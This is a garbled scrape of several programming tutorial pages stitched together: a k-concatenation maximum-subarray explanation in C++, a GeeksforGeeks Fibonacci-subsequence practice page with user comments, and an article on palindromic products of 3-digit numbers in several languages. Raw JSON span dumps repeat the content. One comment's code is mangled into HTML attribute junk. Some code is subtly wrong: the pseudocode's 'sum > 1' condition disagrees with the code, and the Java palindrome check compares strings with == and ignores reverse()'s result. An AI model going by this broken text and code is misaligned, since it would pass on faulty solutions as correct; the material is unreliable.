arr[i] ret := max of ret and sum ret := max of ret and sum if ret is < 0, then return 0, otherwise ret if ret is < 0, then return 0, otherwise ret From the main method, do the following − From the main method, do the following − kadane := getKadane(arr), sum := getSum(arr), prefix := getPrefix(arr), suffix := getSuffix(arr) kadane := getKadane(arr), sum := getSum(arr), prefix := getPrefix(arr), suffix := getSuffix(arr) if k is 1, then return kadane if k is 1, then return kadane if sum > 1, then return max of (sum * (k - 2)) + prefix + suffix and kadane if sum > 1, then return max of (sum * (k - 2)) + prefix + suffix and kadane otherwise return max of (prefix + suffix) and kadane otherwise return max of (prefix + suffix) and kadane Let us see the following implementation to get a better understanding − Live Demo #include <bits/stdc++.h> using namespace std; typedef long long int lli; const int MOD = 1e9 + 7; int add(lli a, lli b){ return ((a % MOD) + (b % MOD)) % MOD; } int mul(lli a, lli b){ return ((a % MOD) * (b % MOD)) % MOD; } class Solution { public: int getKadane(vector <int>& arr){ int ret = INT_MIN; int sum = 0; for(int i = 0; i < arr.size(); i++){ sum = max(arr[i], arr[i] + sum); ret = max(ret, sum); sum %= MOD; ret %= MOD; } return ret < 0? 0 : ret; } int getSum(vector <int>& arr){ int ret = 0; for(int i = 0; i < arr.size(); i++){ ret += arr[i]; ret %= MOD; } return ret; } int getPrefix(vector <int>& arr){ int ret = INT_MIN; int sum = 0; for(int i = 0; i <arr.size(); i++){ sum += arr[i]; sum %= MOD; ret = max(ret, sum); ret %= MOD; } return ret < 0 ? 0 : ret; } int getSuffix(vector <int>& arr){ int sum = 0; int ret = INT_MIN; for(int i = arr.size() - 1; i >= 0 ; i--){ sum += arr[i]; ret = max(ret, sum); sum %= MOD; ret %= MOD; } return ret < 0 ? 0 : ret; } int kConcatenationMaxSum(vector<int>& arr, int k) { int kadane = getKadane(arr); int sum = getSum(arr); int prefix = getPrefix(arr); int suffix = getSuffix(arr); if(k == 1) return kadane; if(sum > 0){ return max((int)mul((k-2) , sum) + prefix % MOD + suffix % MOD, kadane); } else { return max(add(prefix , suffix), kadane); } } }; main(){ vector<int> v1 = {1,-2,1}; Solution ob; cout << (ob.kConcatenationMaxSum(v1, 5)); } [1,-2,1] 5 2
[ { "code": null, "e": 1252, "s": 1062, "text": "Suppose we have an integer array arr and one integer k, we have to change the array by\nrepeating it k times. So if arr = [1, 2] and k = 3 then the modified array will be [1, 2, 1, 2, 1, 2]." }, { "code": null, "e": 1465, "s": 1252, "text": "Now we have to find the maximum sub-array sum in the modified array. Note that the length of the sub-array can be 0 and its sum in that case is 0. As the answer may be very large, find the answer modulo 10^9 + 7." }, { "code": null, "e": 1536, "s": 1465, "text": "So if the input is like [1,-2,1] and k = 5, then the result will be 2." }, { "code": null, "e": 1580, "s": 1536, "text": "To solve this, we will follow these steps −" }, { "code": null, "e": 1658, "s": 1580, "text": "Define method called getKadane(), this will take array, this will work like −" }, { "code": null, "e": 1736, "s": 1658, "text": "Define method called getKadane(), this will take array, this will work like −" }, { "code": null, "e": 1809, "s": 1736, "text": "ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7" }, { "code": null, "e": 1882, "s": 1809, "text": "ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7" }, { "code": null, "e": 1977, "s": 1882, "text": "for i in range 0 to size of arr – 1sum := max of arr[i] and arr[i] + sumret := max of ret, sum" }, { "code": null, "e": 2013, "s": 1977, "text": "for i in range 0 to size of arr – 1" }, { "code": null, "e": 2051, "s": 2013, "text": "sum := max of arr[i] and arr[i] + sum" }, { "code": null, "e": 2089, "s": 2051, "text": "sum := max of arr[i] and arr[i] + sum" }, { "code": null, "e": 2112, "s": 2089, "text": "ret := max of ret, sum" }, { "code": null, "e": 2135, "s": 2112, "text": "ret := max of ret, sum" }, { "code": null, "e": 2179, "s": 2135, "text": "if ret is < 0, then return 0, otherwise ret" }, { "code": null, "e": 2223, "s": 2179, "text": "if ret is < 0, then return 0, otherwise ret" }, { "code": null, "e": 2298, "s": 2223, "text": "Define method called getSum(), this will take array, this will work like −" }, { "code": null, "e": 2373, "s": 2298, "text": "Define method called getSum(), this will take array, this will work like −" }, { "code": null, "e": 2421, "s": 2373, "text": "ret := 0, The ret value will be of mod 10^9 + 7" }, { "code": null, "e": 2469, "s": 2421, "text": "ret := 0, The ret value will be of mod 10^9 + 7" }, { "code": null, "e": 2524, "s": 2469, "text": "for i in range 0 to size of arr – 1ret := ret + arr[i]" }, { "code": null, "e": 2560, "s": 2524, "text": "for i in range 0 to size of arr – 1" }, { "code": null, "e": 2580, "s": 2560, "text": "ret := ret + arr[i]" }, { "code": null, "e": 2600, "s": 2580, "text": "ret := ret + arr[i]" }, { "code": null, "e": 2611, "s": 2600, "text": "return ret" }, { "code": null, "e": 2622, "s": 2611, "text": "return ret" }, { "code": null, "e": 2700, "s": 2622, "text": "Define method called getPrefix(), this will take array, this will work like −" }, { "code": null, "e": 2778, "s": 2700, "text": "Define method called getPrefix(), this will take array, this will work like −" }, { "code": null, "e": 2851, "s": 2778, "text": "ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7" }, { "code": null, "e": 2924, "s": 2851, "text": "ret := -inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7" }, { "code": null, "e": 3004, "s": 2924, "text": "for i in range 0 to size of arr – 1sum := sum + arr[i]ret := max of ret and sum" }, { "code": null, "e": 3040, "s": 3004, "text": "for i in range 0 to size of arr – 1" }, { "code": null, "e": 3060, "s": 3040, "text": "sum := sum + arr[i]" }, { "code": null, "e": 3080, "s": 3060, "text": "sum := sum + arr[i]" }, { "code": null, "e": 3106, "s": 3080, "text": "ret := max of ret and sum" }, { "code": null, "e": 3132, "s": 3106, "text": "ret := max of ret and sum" }, { "code": null, "e": 3176, "s": 3132, "text": "if ret is < 0, then return 0, otherwise ret" }, { "code": null, "e": 3220, "s": 3176, "text": "if ret is < 0, then return 0, otherwise ret" }, { "code": null, "e": 3298, "s": 3220, "text": "Define method called getSuffix(), this will take array, this will work like −" }, { "code": null, "e": 3376, "s": 3298, "text": "Define method called getSuffix(), this will take array, this will work like −" }, { "code": null, "e": 3448, "s": 3376, "text": "ret := inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7" }, { "code": null, "e": 3520, "s": 3448, "text": "ret := inf, sum := 0, all values of ret and sum will be of mod 10^9 + 7" }, { "code": null, "e": 3605, "s": 3520, "text": "for i in range size of arr – 1 down to 0sum := sum + arr[i]ret := max of ret and sum" }, { "code": null, "e": 3646, "s": 3605, "text": "for i in range size of arr – 1 down to 0" }, { "code": null, "e": 3666, "s": 3646, "text": "sum := sum + arr[i]" }, { "code": null, "e": 3686, "s": 3666, "text": "sum := sum + arr[i]" }, { "code": null, "e": 3712, "s": 3686, "text": "ret := max of ret and sum" }, { "code": null, "e": 3738, "s": 3712, "text": "ret := max of ret and sum" }, { "code": null, "e": 3782, "s": 3738, "text": "if ret is < 0, then return 0, otherwise ret" }, { "code": null, "e": 3826, "s": 3782, "text": "if ret is < 0, then return 0, otherwise ret" }, { "code": null, "e": 3867, "s": 3826, "text": "From the main method, do the following −" }, { "code": null, "e": 3908, "s": 3867, "text": "From the main method, do the following −" }, { "code": null, "e": 4005, "s": 3908, "text": "kadane := getKadane(arr), sum := getSum(arr), prefix := getPrefix(arr), suffix :=\ngetSuffix(arr)" }, { "code": null, "e": 4102, "s": 4005, "text": "kadane := getKadane(arr), sum := getSum(arr), prefix := getPrefix(arr), suffix :=\ngetSuffix(arr)" }, { "code": null, "e": 4132, "s": 4102, "text": "if k is 1, then return kadane" }, { "code": null, "e": 4162, "s": 4132, "text": "if k is 1, then return kadane" }, { "code": null, "e": 4238, "s": 4162, "text": "if sum > 1, then return max of (sum * (k - 2)) + prefix + suffix and kadane" }, { "code": null, "e": 4314, "s": 4238, "text": "if sum > 1, then return max of (sum * (k - 2)) + prefix + suffix and kadane" }, { "code": null, "e": 4367, "s": 4314, "text": "otherwise return max of (prefix + suffix) and kadane" }, { "code": null, "e": 4420, "s": 4367, "text": "otherwise return max of (prefix + suffix) and kadane" }, { "code": null, "e": 4492, "s": 4420, "text": "Let us see the following implementation to get a better understanding −" }, { "code": null, "e": 4503, "s": 4492, "text": " Live Demo" }, { "code": null, "e": 6255, "s": 4503, "text": "#include <bits/stdc++.h>\nusing namespace std;\ntypedef long long int lli;\nconst int MOD = 1e9 + 7;\nint add(lli a, lli b){\n return ((a % MOD) + (b % MOD)) % MOD;\n}\nint mul(lli a, lli b){\n return ((a % MOD) * (b % MOD)) % MOD;\n}\nclass Solution {\n public:\n int getKadane(vector <int>& arr){\n int ret = INT_MIN;\n int sum = 0;\n for(int i = 0; i < arr.size(); i++){\n sum = max(arr[i], arr[i] + sum);\n ret = max(ret, sum);\n sum %= MOD;\n ret %= MOD;\n }\n return ret < 0? 0 : ret;\n }\n int getSum(vector <int>& arr){\n int ret = 0;\n for(int i = 0; i < arr.size(); i++){\n ret += arr[i];\n ret %= MOD;\n }\n return ret;\n }\n int getPrefix(vector <int>& arr){\n int ret = INT_MIN;\n int sum = 0;\n for(int i = 0; i <arr.size(); i++){\n sum += arr[i];\n sum %= MOD;\n ret = max(ret, sum);\n ret %= MOD;\n }\n return ret < 0 ? 0 : ret;\n }\n int getSuffix(vector <int>& arr){\n int sum = 0;\n int ret = INT_MIN;\n for(int i = arr.size() - 1; i >= 0 ; i--){\n sum += arr[i];\n ret = max(ret, sum);\n sum %= MOD;\n ret %= MOD;\n }\n return ret < 0 ? 0 : ret;\n }\n int kConcatenationMaxSum(vector<int>& arr, int k) {\n int kadane = getKadane(arr);\n int sum = getSum(arr);\n int prefix = getPrefix(arr);\n int suffix = getSuffix(arr);\n if(k == 1) return kadane;\n if(sum > 0){\n return max((int)mul((k-2) , sum) + prefix % MOD + suffix % MOD, kadane);\n } else {\n return max(add(prefix , suffix), kadane);\n }\n }\n};\nmain(){\n vector<int> v1 = {1,-2,1};\n Solution ob;\n cout << (ob.kConcatenationMaxSum(v1, 5));\n}" }, { "code": null, "e": 6266, "s": 6255, "text": "[1,-2,1]\n5" }, { "code": null, "e": 6268, "s": 6266, "text": "2" } ]
Largest Fibonacci Subsequence | Practice | GeeksforGeeks
Given an array with positive integers, the task is to find the largest subsequence from the array which contains only Fibonacci numbers. Example 1: Input : arr[] = {1, 4, 3, 9, 10, 13, 7} Output : subset[] = {1, 3, 13} The output three numbers are Fibonacci numbers. Input : arr[] = {0, 2, 8, 5, 2, 1, 4, 13, 23} Output : subset[] = {0, 2, 8, 5, 2, 1, 13} Your Task: You don't need to read input or print anything. Your task is to complete the function findFibSubset() which takes the array A[] and its size N as inputs and returns the elements of the fibonacci subsequence in a vector. If no such number found return empty vector. Expected Time Complexity: O(N) Expected Auxiliary Space: O(N) Constraints: 1<=N<=103 1<=A[]<=109 0 bharathimp19932 weeks ago Java solution public int[] findFibSubset(int arr[], int n) { List<Integer> list =new ArrayList<>(); for(int i=0;i<arr.length;i++){ if(checkFib(arr[i])) list.add(arr[i]); } int sub[] = new int[list.size()]; for(int i=0;i<list.size();i++){ sub[i] = list.get(i); } return sub; } private boolean checkFib(long n){ long a=0; long b=1; long c= a+b; long prev = 0; while(c<=n){ prev = c; c = a+b; a=b; b=c; } return (prev == n); } 0 zhyuanshan3 weeks ago class Solution{ unordered_set<int> fibonacciNumbers; int a = 1, b = 1; bool isFibonacci(int n){ if(n == 1) return true; if(fibonacciNumbers.find(n) != fibonacciNumbers.end()) return true; while(b < n){ int temp = b; b = a + b; a = temp; fibonacciNumbers.insert(b); if(b == n) return true; } return false; } public: vector<int> findFibSubset(int arr[], int n) { vector<int> result; for(int i = 0; i < n; i++){ if(isFibonacci(arr[i])){ result.push_back(arr[i]); } } return result; } }; 0 akkeshri140420012 months ago bool isfib(int n){ int a=0,b=1,c=1; while(c<=n){ if(c==n){ return 1; } a=b; b=c; c=a+b; } return 0; } vector<int> findFibSubset(int arr[], int n) { vector<int>v1; for(int i=0;i<n;i++){ if(isfib(arr[i])){ v1.push_back(arr[i]); } } return v1; } 0 akkeshri14042001 This comment was deleted. 0 ayushagarwal88202 months ago JAVA SIMPLEST SOLUTION public int[] findFibSubset(int arr[], int n) { int x=0; ArrayList<Integer> al=new ArrayList<>(); for(int i=0;i<n;i++){ if(fibo(arr[i])){ al.add(arr[i]); } } int[] subset=new int[al.size()]; for(int i=0;i<al.size();i++){ subset[i]=al.get(i); } return subset; } public static boolean fibo(int n){ int a=0; int b=1; int c=0; if(n==a || n==b){ return true; } while(c<=n){ c=a+b; if(c==n){ return true; } a=b; b=c; } return false; } +1 avinav26113 months ago Easy C++ Solution (0.4/1.8s) +2 raunakmishra12433 months ago vector<int> findFibSubset(int arr[], int n) { vector<int>v; int k=*max_element(arr,arr+n); unordered_map<int,int>m; int a=0,b=1,c=0; while(c<=k) { m[c]++; c=a+b; a=b; b=c; } for(int i=0;i<n;i++) { if(m.find(arr[i])!=m.end()) v.push_back(arr[i]); } return v; } -1 imranwahid6 months ago Easy C++ solution 0 AlphaCoder8 months ago AlphaCoder The solution to this example is incorrect either, in the question they have mentioned that the expected space complexity is O(N) which means we can store up to 10^3 numbers. But the solution says that we need to generate Fibonacci numbers up to the max number in the array which means that the space complexity can be around O(max(Arr[])) which is incorrect. The appropriate solution is : class Solution{ public: vector<int> findFibSubset(int arr[], int n) { vector<int> res; for(int i=0;i<n;i++){ unsigned="" long="" long="" int="" v1="5*((unsigned" long="" long="" int)arr[i]*arr[i])+4;="" unsigned="" long="" long="" int="" v2="5*((unsigned" long="" long="" int)arr[i]*arr[i])-4;="" cout<<v1<<"="" "<<v2<<endl;="" if(isperfectsquare(v1)||isperfectsquare(v2)){="" res.push_back(arr[i]);="" }="" }="" return="" res;="" }="" bool="" isperfectsquare(unsigned="" long="" long="" int="" n){="" cout<<n<<endl;="" unsigned="" long="" long="" int="" sq="sqrt(n);" cout<<sq<<endl;="" return="" (sq*sq="=n);" }="" };=""> 0 Din Djarin9 months ago Din Djarin Binet formula won't work here We strongly recommend solving this problem on your own before viewing its editorial. Do you still want to view the editorial? Login to access your submissions. Problem Contest Reset the IDE using the second button on the top right corner. Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints. You can access the hints to get an idea about what is expected of you as well as the final solution code. You can view the solutions submitted by other users from the submission tab.
[ { "code": null, "e": 375, "s": 238, "text": "Given an array with positive integers, the task is to find the largest subsequence from the array which contains only Fibonacci numbers." }, { "code": null, "e": 388, "s": 377, "text": "Example 1:" }, { "code": null, "e": 507, "s": 388, "text": "Input : arr[] = {1, 4, 3, 9, 10, 13, 7}\nOutput : subset[] = {1, 3, 13}\nThe output three numbers are Fibonacci\nnumbers." }, { "code": null, "e": 635, "s": 507, "text": "Input : arr[] = {0, 2, 8, 5, 2, 1, 4,\n 13, 23}\nOutput : subset[] = {0, 2, 8, 5, 2, 1,\n 13}" }, { "code": null, "e": 916, "s": 635, "text": "\n\nYour Task: \nYou don't need to read input or print anything. Your task is to complete the function findFibSubset() which takes the array A[] and its size N as inputs and returns the elements of the fibonacci subsequence in a vector. If no such number found return empty vector." }, { "code": null, "e": 979, "s": 916, "text": "\nExpected Time Complexity: O(N)\nExpected Auxiliary Space: O(N)" }, { "code": null, "e": 1017, "s": 979, "text": "\nConstraints:\n1<=N<=103\n1<=A[]<=109\n " }, { "code": null, "e": 1019, "s": 1017, "text": "0" }, { "code": null, "e": 1045, "s": 1019, "text": "bharathimp19932 weeks ago" }, { "code": null, "e": 1059, "s": 1045, "text": "Java solution" }, { "code": null, "e": 1669, "s": 1061, "text": " public int[] findFibSubset(int arr[], int n) { List<Integer> list =new ArrayList<>(); for(int i=0;i<arr.length;i++){ if(checkFib(arr[i])) list.add(arr[i]); } int sub[] = new int[list.size()]; for(int i=0;i<list.size();i++){ sub[i] = list.get(i); } return sub; } private boolean checkFib(long n){ long a=0; long b=1; long c= a+b; long prev = 0; while(c<=n){ prev = c; c = a+b; a=b; b=c; } return (prev == n); }" }, { "code": null, "e": 1671, "s": 1669, "text": "0" }, { "code": null, "e": 1693, "s": 1671, "text": "zhyuanshan3 weeks ago" }, { "code": null, "e": 2417, "s": 1693, "text": "class Solution{\n unordered_set<int> fibonacciNumbers;\n int a = 1, b = 1;\n bool isFibonacci(int n){\n if(n == 1) return true;\n if(fibonacciNumbers.find(n) != fibonacciNumbers.end()) return true;\n \n while(b < n){\n int temp = b;\n b = a + b;\n a = temp;\n \n fibonacciNumbers.insert(b);\n if(b == n) return true;\n }\n \n return false;\n }\n public:\n vector<int> findFibSubset(int arr[], int n) {\n vector<int> result;\n for(int i = 0; i < n; i++){\n if(isFibonacci(arr[i])){\n result.push_back(arr[i]);\n }\n }\n \n return result;\n }\n};" }, { "code": null, "e": 2419, "s": 2417, "text": "0" }, { "code": null, "e": 2448, "s": 2419, "text": "akkeshri140420012 months ago" }, { "code": null, "e": 2905, "s": 2448, "text": "bool isfib(int n){\n int a=0,b=1,c=1;\n while(c<=n){\n if(c==n){\n return 1;\n }\n a=b;\n b=c;\n c=a+b;\n }\n return 0;\n }\n vector<int> findFibSubset(int arr[], int n) {\n vector<int>v1;\n \n for(int i=0;i<n;i++){\n if(isfib(arr[i])){\n \n v1.push_back(arr[i]);\n }\n }\n return v1;\n }\n \n \n " }, { "code": null, "e": 2907, "s": 2905, "text": "0" }, { "code": null, "e": 2924, "s": 2907, "text": "akkeshri14042001" }, { "code": null, "e": 2950, "s": 2924, "text": "This comment was deleted." }, { "code": null, "e": 2952, "s": 2950, "text": "0" }, { "code": null, "e": 2981, "s": 2952, "text": "ayushagarwal88202 months ago" }, { "code": null, "e": 3005, "s": 2981, "text": "JAVA SIMPLEST SOLUTION " }, { "code": null, "e": 3668, "s": 3007, "text": " public int[] findFibSubset(int arr[], int n) { int x=0; ArrayList<Integer> al=new ArrayList<>(); for(int i=0;i<n;i++){ if(fibo(arr[i])){ al.add(arr[i]); } } int[] subset=new int[al.size()]; for(int i=0;i<al.size();i++){ subset[i]=al.get(i); } return subset; } public static boolean fibo(int n){ int a=0; int b=1; int c=0; if(n==a || n==b){ return true; } while(c<=n){ c=a+b; if(c==n){ return true; } a=b; b=c; } return false; }" }, { "code": null, "e": 3671, "s": 3668, "text": "+1" }, { "code": null, "e": 3694, "s": 3671, "text": "avinav26113 months ago" }, { "code": null, "e": 3723, "s": 3694, "text": "Easy C++ Solution (0.4/1.8s)" }, { "code": null, "e": 3728, "s": 3725, "text": "+2" }, { "code": null, "e": 3757, "s": 3728, "text": "raunakmishra12433 months ago" }, { "code": null, "e": 4207, "s": 3757, "text": " vector<int> findFibSubset(int arr[], int n) \n {\n vector<int>v;\n int k=*max_element(arr,arr+n);\n unordered_map<int,int>m;\n int a=0,b=1,c=0;\n while(c<=k)\n {\n m[c]++;\n c=a+b;\n a=b;\n b=c;\n \n }\n \n for(int i=0;i<n;i++)\n {\n if(m.find(arr[i])!=m.end())\n v.push_back(arr[i]);\n }\n \n return v;\n }" }, { "code": null, "e": 4210, "s": 4207, "text": "-1" }, { "code": null, "e": 4233, "s": 4210, "text": "imranwahid6 months ago" }, { "code": null, "e": 4251, "s": 4233, "text": "Easy C++ solution" }, { "code": null, "e": 4253, "s": 4251, "text": "0" }, { "code": null, "e": 4276, "s": 4253, "text": "AlphaCoder8 months ago" }, { "code": null, "e": 4287, "s": 4276, "text": "AlphaCoder" }, { "code": null, "e": 4646, "s": 4287, "text": "The solution to this example is incorrect either, in the question they have mentioned that the expected space complexity is O(N) which means we can store up to 10^3 numbers. But the solution says that we need to generate Fibonacci numbers up to the max number in the array which means that the space complexity can be around O(max(Arr[])) which is incorrect." }, { "code": null, "e": 4676, "s": 4646, "text": "The appropriate solution is :" }, { "code": null, "e": 5320, "s": 4676, "text": "class Solution{ public: vector<int> findFibSubset(int arr[], int n) { vector<int> res; for(int i=0;i<n;i++){ unsigned=\"\" long=\"\" long=\"\" int=\"\" v1=\"5*((unsigned\" long=\"\" long=\"\" int)arr[i]*arr[i])+4;=\"\" unsigned=\"\" long=\"\" long=\"\" int=\"\" v2=\"5*((unsigned\" long=\"\" long=\"\" int)arr[i]*arr[i])-4;=\"\" cout<<v1<<\"=\"\" \"<<v2<<endl;=\"\" if(isperfectsquare(v1)||isperfectsquare(v2)){=\"\" res.push_back(arr[i]);=\"\" }=\"\" }=\"\" return=\"\" res;=\"\" }=\"\" bool=\"\" isperfectsquare(unsigned=\"\" long=\"\" long=\"\" int=\"\" n){=\"\" cout<<n<<endl;=\"\" unsigned=\"\" long=\"\" long=\"\" int=\"\" sq=\"sqrt(n);\" cout<<sq<<endl;=\"\" return=\"\" (sq*sq=\"=n);\" }=\"\" };=\"\">" }, { "code": null, "e": 5322, "s": 5320, "text": "0" }, { "code": null, "e": 5345, "s": 5322, "text": "Din Djarin9 months ago" }, { "code": null, "e": 5356, "s": 5345, "text": "Din Djarin" }, { "code": null, "e": 5386, "s": 5356, "text": "Binet formula won't work here" }, { "code": null, "e": 5532, "s": 5386, "text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?" }, { "code": null, "e": 5568, "s": 5532, "text": " Login to access your submissions. " }, { "code": null, "e": 5578, "s": 5568, "text": "\nProblem\n" }, { "code": null, "e": 5588, "s": 5578, "text": "\nContest\n" }, { "code": null, "e": 5651, "s": 5588, "text": "Reset the IDE using the second button on the top right corner." }, { "code": null, "e": 5799, "s": 5651, "text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values." }, { "code": null, "e": 6007, "s": 5799, "text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints." }, { "code": null, "e": 6113, "s": 6007, "text": "You can access the hints to get an idea about what is expected of you as well as the final solution code." } ]
Largest palindrome not exceeding N which can be expressed as product of two 3-digit numbers - GeeksforGeeks
31 May, 2021 Given a positive integer N, the task is to find the largest palindromic number less than N and it can be expressed as the product of two 3-digit numbers. Examples: Input: N = 101110Output: 101101Explanation: The number 101101 ( = 143 * 707) is the largest palindromic number possible satisfying the conditions. Input: N = 800000Output: 793397Explanation: The number 793397 ( = 869 × 913) is the largest palindromic number possible satisfying the conditions. Naive Approach: The simplest generate all possible pairs from the range [100, 999] and for each pair, check if their product is a palindrome or not and is less than N or not. Print the maximum of all such products obtained as the required answer. Time Complexity: O(N * 9002)Auxiliary Space: O(1) Alternate Approach: The problem can also be solved based on the observation that all the multiples of 11 are palindromes. Therefore, iterate over the range [100, 999] and for every value in the range, iterate over the multiples of 11 in the range [121, 999], and check for the required condition in each iteration. Follow the steps below to solve the problem: Initialize a variable, say num, to store the largest palindromic number satisfying the given conditions. Iterate over the range [100, 999] using a variable, say i, and perform the following steps: Iterate over the range [121, 999] using a variable, say j in multiples of 11.Store the product of i and j in string x.If the value of X is less than N and X is a palindrome, then update the value of num if X > num.Otherwise, keep iterating for the next pair of integers. Iterate over the range [121, 999] using a variable, say j in multiples of 11.Store the product of i and j in string x.If the value of X is less than N and X is a palindrome, then update the value of num if X > num.Otherwise, keep iterating for the next pair of integers. Store the product of i and j in string x. If the value of X is less than N and X is a palindrome, then update the value of num if X > num. Otherwise, keep iterating for the next pair of integers. After the above steps, print the value of num. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ program for the above approach#include <bits/stdc++.h>using namespace std; // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersvoid palindrome_prod(string N){ // Stores all palindromes vector<int> palindrome_list; for (int i = 101; i < 1000; i++) { for (int j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product int n = i * j; string x = to_string(n); string y = x; reverse(y.begin(), y.end()); // Check if X is palindrome if (x == y){ // Check n is less than N if (n < stoi(N)){ // If true, append it // in the list palindrome_list.push_back(i * j); } } } } // Print the largest palindrome cout << (*max_element(palindrome_list.begin(), palindrome_list.end()));} // Driver Codeint main(){ string N = "101110"; // Function Call palindrome_prod(N); return 0;} // This code is contributed by mohit kumar 29 // Java program for the above approachimport java.util.*; class GFG{ // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersstatic void palindrome_prod(String N){ // Stores all palindromes Vector<Integer> palindrome_list = new Vector<Integer>(); for (int i = 101; i < 1000; i++) { for (int j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product int n = i * j; String x = String.valueOf(n); String y = x; reverse(y); // Check if X is palindrome if (x == y){ // Check n is less than N if (n < Integer.valueOf(N)){ // If true, append it // in the list palindrome_list.add(i * j); } } } } // Print the largest palindrome System.out.print(Collections.max(palindrome_list));} static String reverse(String input){ char[] a = input.toCharArray(); int l, r = a.length - 1; for (l = 0; l < r; l++, r--) { char temp = a[l]; a[l] = a[r]; a[r] = temp; } return String.valueOf(a);} // Driver Codepublic static void main(String[] args){ String N = "101110"; // Function Call palindrome_prod(N);}} // This code is contributed by 29AjayKumar # Python program for the above approach # Function to find the largest palindrome# not exceeding N which can be expressed# as the product of two 3-digit numbersdef palindrome_prod(N): # Stores all palindromes palindrome_list = [] for i in range(101, 1000): for j in range(121, 1000, (1 if i % 11 == 0 else 11)): # Stores the product n = i * j x = str(n) # Check if X is palindrome if x == x[::-1]: # Check n is less than N if n < N: # If true, append it # in the list palindrome_list.append(i * j) # Print the largest palindrome print(max(palindrome_list)) # Driver Code N = 101110 # Function Callpalindrome_prod(N) // C# program for the above approachusing System;using System.Collections.Generic;using System.Linq;class GFG{ // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersstatic void palindrome_prod(String N){ // Stores all palindromes List<int> palindrome_list = new List<int>(); for (int i = 101; i < 1000; i++) { for (int j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product int n = i * j; String x = String.Join("", n); String y = x; reverse(y); // Check if X is palindrome if (x == y) { // Check n is less than N if (n < Int32.Parse(N)) { // If true, append it // in the list palindrome_list.Add(i * j); } } } } // Print the largest palindrome Console.Write(palindrome_list.Max());} static String reverse(String input){ char[] a = input.ToCharArray(); int l, r = a.Length - 1; for (l = 0; l < r; l++, r--) { char temp = a[l]; a[l] = a[r]; a[r] = temp; } return String.Join("", a);} // Driver Codepublic static void Main(String[] args){ String N = "101110"; // Function Call palindrome_prod(N);}} // This code is contributed by 29AjayKumar <script> // Javascript program for the above approach // Function to find the largest palindrome// not exceeding N which can be expressed// as the product of two 3-digit numbersfunction palindrome_prod(N){ // Stores all palindromes var palindrome_list = []; var i,j; for (i = 101; i < 1000; i++) { for (j = 121; j < 1000; j += (i % 11 == 0) ? 1 : 11) { // Stores the product var n = i * j; var x = n.toString(); var y = x; y = y.split("").reverse().join(""); // Check if X is palindrome if (x == y){ // Check n is less than N if (n < Number(N)){ // If true, append it // in the list palindrome_list.push(i * j); } } } } // Print the largest palindrome document.write(Math.max.apply(null, palindrome_list));} // Driver Code var N = "101110"; // Function Call palindrome_prod(N); </script> 101101 Time Complexity: O(N*9002)Auxiliary Space: O(1) mohit kumar 29 29AjayKumar SURENDRA_GANGWAR palindrome Mathematical Strings Strings Mathematical palindrome Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Merge two sorted arrays Modulo Operator (%) in C/C++ with Examples Prime Numbers Sieve of Eratosthenes Print all possible combinations of r elements in a given array of size n Write a program to reverse an array or string Reverse a string in Java Longest Common Subsequence | DP-4 Check for Balanced Brackets in an expression (well-formedness) using Stack Python program to check if a string is palindrome or not
[ { "code": null, "e": 26433, "s": 26405, "text": "\n31 May, 2021" }, { "code": null, "e": 26587, "s": 26433, "text": "Given a positive integer N, the task is to find the largest palindromic number less than N and it can be expressed as the product of two 3-digit numbers." }, { "code": null, "e": 26597, "s": 26587, "text": "Examples:" }, { "code": null, "e": 26744, "s": 26597, "text": "Input: N = 101110Output: 101101Explanation: The number 101101 ( = 143 * 707) is the largest palindromic number possible satisfying the conditions." }, { "code": null, "e": 26891, "s": 26744, "text": "Input: N = 800000Output: 793397Explanation: The number 793397 ( = 869 × 913) is the largest palindromic number possible satisfying the conditions." }, { "code": null, "e": 27138, "s": 26891, "text": "Naive Approach: The simplest generate all possible pairs from the range [100, 999] and for each pair, check if their product is a palindrome or not and is less than N or not. Print the maximum of all such products obtained as the required answer." }, { "code": null, "e": 27188, "s": 27138, "text": "Time Complexity: O(N * 9002)Auxiliary Space: O(1)" }, { "code": null, "e": 27548, "s": 27188, "text": "Alternate Approach: The problem can also be solved based on the observation that all the multiples of 11 are palindromes. Therefore, iterate over the range [100, 999] and for every value in the range, iterate over the multiples of 11 in the range [121, 999], and check for the required condition in each iteration. Follow the steps below to solve the problem:" }, { "code": null, "e": 27653, "s": 27548, "text": "Initialize a variable, say num, to store the largest palindromic number satisfying the given conditions." }, { "code": null, "e": 28016, "s": 27653, "text": "Iterate over the range [100, 999] using a variable, say i, and perform the following steps: Iterate over the range [121, 999] using a variable, say j in multiples of 11.Store the product of i and j in string x.If the value of X is less than N and X is a palindrome, then update the value of num if X > num.Otherwise, keep iterating for the next pair of integers." }, { "code": null, "e": 28287, "s": 28016, "text": "Iterate over the range [121, 999] using a variable, say j in multiples of 11.Store the product of i and j in string x.If the value of X is less than N and X is a palindrome, then update the value of num if X > num.Otherwise, keep iterating for the next pair of integers." }, { "code": null, "e": 28329, "s": 28287, "text": "Store the product of i and j in string x." }, { "code": null, "e": 28426, "s": 28329, "text": "If the value of X is less than N and X is a palindrome, then update the value of num if X > num." }, { "code": null, "e": 28483, "s": 28426, "text": "Otherwise, keep iterating for the next pair of integers." }, { "code": null, "e": 28530, "s": 28483, "text": "After the above steps, print the value of num." }, { "code": null, "e": 28581, "s": 28530, "text": "Below is the implementation of the above approach:" }, { "code": null, 